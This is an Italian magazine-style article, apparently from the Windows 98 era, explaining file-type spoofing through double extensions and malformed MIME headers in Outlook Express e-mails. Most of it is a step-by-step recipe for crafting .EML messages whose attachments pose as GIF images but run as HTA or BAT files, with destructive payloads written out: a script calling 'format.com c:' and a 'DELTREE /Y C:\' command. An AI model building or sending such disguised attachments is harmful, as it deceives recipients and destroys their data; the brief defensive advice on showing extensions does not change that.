| IL FILE TYPE SPOOFING |
| Lo spoofing dei tipi di file è una tecnica usata, spesso anche dai
virus, per simulare che un certo file corrisponda ad un tipo diverso
da ciò che è realmente: in questo modo si può ingannare un utente
facendogli credere che un certo attachment sembri un'immagine JPG,
un archivio ZIP o qualsiasi altra cosa, quando in realtà non lo è.
Un primo tipo di inganno, quello delle estensioni, è molto semplice
da realizzare e si basa sul fatto che Windows (95/98/ME) gestisce
male le estensioni associate ai diversi tipi di files. Infatti il
sistema di Microsoft è stato progettato (di default) per non visualizzare
le estensioni dei tipi di files che hanno un'associazione nel registro.
Ciò vuol dire che un file ARCHIVIO.ZIP viene mostrato all'interno
di Esplora Risorse e degli altri programmi solo col nome ARCHIVIO,
senza visualizzare la sua estensione e può essere riconosciuto dalla
classica icona associata ai file di Winzip. Questa constatazione ci
pone un primo interrogativo: cosa succede ad un file rinominato (volutamente)
col nome ARCHIVIO.ZIP.EXE? Questo viene considerato un file di Winzip
o un eseguibile? Ecco quindi in cosa consiste il primo inganno sui
tipi di file: usando questo trucco della "doppia estensione" Windows
riconosce il file come un .EXE (quindi lo tratta come un eseguibile)
tuttavia visualizza solo il nome senza l'estensione, quindi per un
utente ignaro di questo fatto, il file porterà il nome ARCHIVIO.ZIP,
quando in realtà è un'applicazione .EXE. Questo trucco è stato usato
da molti worm come il famigerato ZIP Explorer. Per accorgersi della
frode l'unica cosa che si può fare (oltre ad usare un buon antivirus)
è quella di far visualizzare a Windows le estensioni dei files, anche
per quelli associati ad applicazioni. Questa opzione si può attivare
da Esplora Risorse nel menu Strumenti/Opzioni Cartella o Visualizza/Opzioni
Cartella come in (Fig.1). In questo modo un'e-mail che porta
dietro una attachment, visualizza il file allegato col suo nome reale,
mostrando magari che questo in realtà è un eseguibile (Fig.2).
|
| IL MIME NELLE E-MAIL |
| Un secondo modo di realizzare lo spoofing dei tipi di files è invece
molto più subdolo e meno facile da intercettare: si tratta dell'uso
di intestazioni malformate nel protocollo MIME che gestisce gli allegati
alle e-mail. Gli attachment in un messaggio di posta elettronica vengono
codificati usando lo standard MIME con una codifica di solo testo
nel caso dei file ASCII puri (TXT, BAT, HTA) oppure con la codifica
"base64" nel caso si tratti di file binari (eseguibili, immagini,
file ZIP). Ecco un esempio di come vengono codificati (in forma di
attachment) un file di immagine (PAMELA.GIF) e un file eseguibile
(COMMAND.COM). La sezione evidenziata (box 1) nelle due definizioni
di attachment è quella che definisce il tipo di files allegato e quindi
anche l'applicazione da eseguire e l'associazione che deve realizzare
Windows per quel file. L'inganno consiste proprio nel cambiare il
campo "Content-Type" indicando magari che un file eseguibile è un'immagine.
Windows (quindi Outlook Express) andrà ad associare a quel file l'icona
corrispondente a ciò che indichiamo dentro la definizione MIME, quindi
un attachment che magari è un programma porterà l'icona associate
ai file GIF. Proviamo allora a creare una e-mail con un allegato "camuffato":
scriviamo un file di testo come quello riportato e salviamolo poi
con l'estensione .EML (per renderlo una e-mail leggibile da Outlook); |
MIME-Version: 1.0
From: mittente@server.com
To: destinatario@server.com
Subject: bla bla bla
Content-Type: image/gif; charset=us-ascii
Content-Transfer-Encoding: 7bit
<script>var wsh=new ActiveXObject('WScript.Shell');
wsh.Run('format.com c:');</script> |
|
| Il file allegato è un'applicazione di tipo HTA, quindi eseguibile,
tuttavia se andiamo ad aprire l'e-mail essa riporta un allegato con
l'icona di un'immagine GIF proprio perche nel "Content - Type" abbiamo
specificato un tipo di file diverso. l'exploit ancora non è ancora
completo, perché se ora proviamo ad aprire il file allegato, questo
viene associato al visualizzatore di immagini GIF di Windows e non
viene più considerato un eseguibile, quindi pur volendo non potrebbe
causare alcun danno. Cosa è successo? Cambiando il "Content - Type"
abbiamo modificato radicalmente il tipo di file, che ora viene associato
ad un'altra applicazione e quindi non è più eseguibile. Come oltrepassare
questa limitazione? E' qui che viene sfruttato un bug del MIME che
consiste nel creare un "Subject" dell'e-maillungo 255 caratteri (ne
uno di più, ne uno di meno!) seguito dall'estensione che vogliamo
dare al file (nel caso di prima quindi ".HTA"). Se mettessimo un solo
carattere in meno dei 255 previsti, l'allegato verrebbe riconosciuto
come un'immagine GIF; se invece mettessimo un carattere in più l'allegato
perderebbe ogni tipo di estensione e non sarebbe riconosciuto da Windows
ne associato a qualche applicazione. Ecco quindi come modificare l'e-mail
per realizzare il filetype spoofing; |

MIME-Version: 1.0
From: mittente@server.com
To: destinatario@server.com
Subject: PAMELA.GIF + [245 spazi vuoti] + .HTA
Content-Type: image/gif; charset=us-ascii
Content-Transfer-Encoding: 7bit
<script>var wsh=new ActiveXObject('WScript.Shell');
wsh.Run('format.com c:');</script> |
|
| L'essenziale è inserire nel " Subject" 255 caratteri ASCll: volendo
si può scrivere anche un nome fasullo per il file (PAMELA.GIF) e completare
poi i caratteri che mancano con degli spazi vuoti fino ad arrivare
a 255 (nel nostro caso quindi servono 245 spazi perché "PAMELA.GIF"
è lungo 10 caratteri) e infine scrivere la vera estensione da assegnare
al file allegato (.HTA). Il tutto ovviamente va scritto su un'unica
riga(Fig.3); |
| Ecco un altro esempio che utilizza lo spoofing di un file BAT, che
virtualmente può eseguire qualsiasi comando sul sistema: |

MIME-Version: 1.0
From: mittente@server.com
To: destinatario@server.com
Subject: PAMELA.GIF + [245 spazi vuoti] + .BAT
Content-Type: image/gif; charset=us-ascii
Content-Transfer-Encoding: 7bit
DELTREE /Y C:\ |
|
| CONCLUSIONI |
| Come ci difende Windows da questi attachment pericolosi? E' veto
che la falla di sicurezza può rendere ingannev6li i files e confondere
gli utenti, tuttavia Windows si accorge dell'inghippo e quando l'utente
clicca per aprire l'allegato, Outlook mostra un minimo di avviso (Fig.4),
anche se però non viene menzionato il fatto che l'allegato non è un'immagine
e all'interno dello stesso avviso il file viene nominato col nome
fasullo, non con quello reale, proprio per il fatto che sono stati
usati 255 caratteri. |
|
| |
 |
| Fig.1 Abilitare l'opzione è sconsigliabile |
| |
Content-Type: image/gif; name="PAMELA.GIF"
Content-Transfer-Encoding: base64
oaMk7W8HR28u0yAIB2OfcimXz5UmiMuV025P83
.......(parte codificata in base64)
Content-Type: application/actet-stream; name="COMMAND.COM"
Content-Transfer-Encoding: base64
TVogALsAAAC4BAAA//8AAAAAAAAAA
.......(parte codificata in base64) |
|
| Box 1 Esempio di codifica degli allegati |
| |
 |
| Fig.2 L'allegato appare col nome completo |
| |
 |
| Fig.3 Esempio di header MIME malformato |
| |
 |
| Fig.4 Outlook mostra l'avviso d'apertura |
|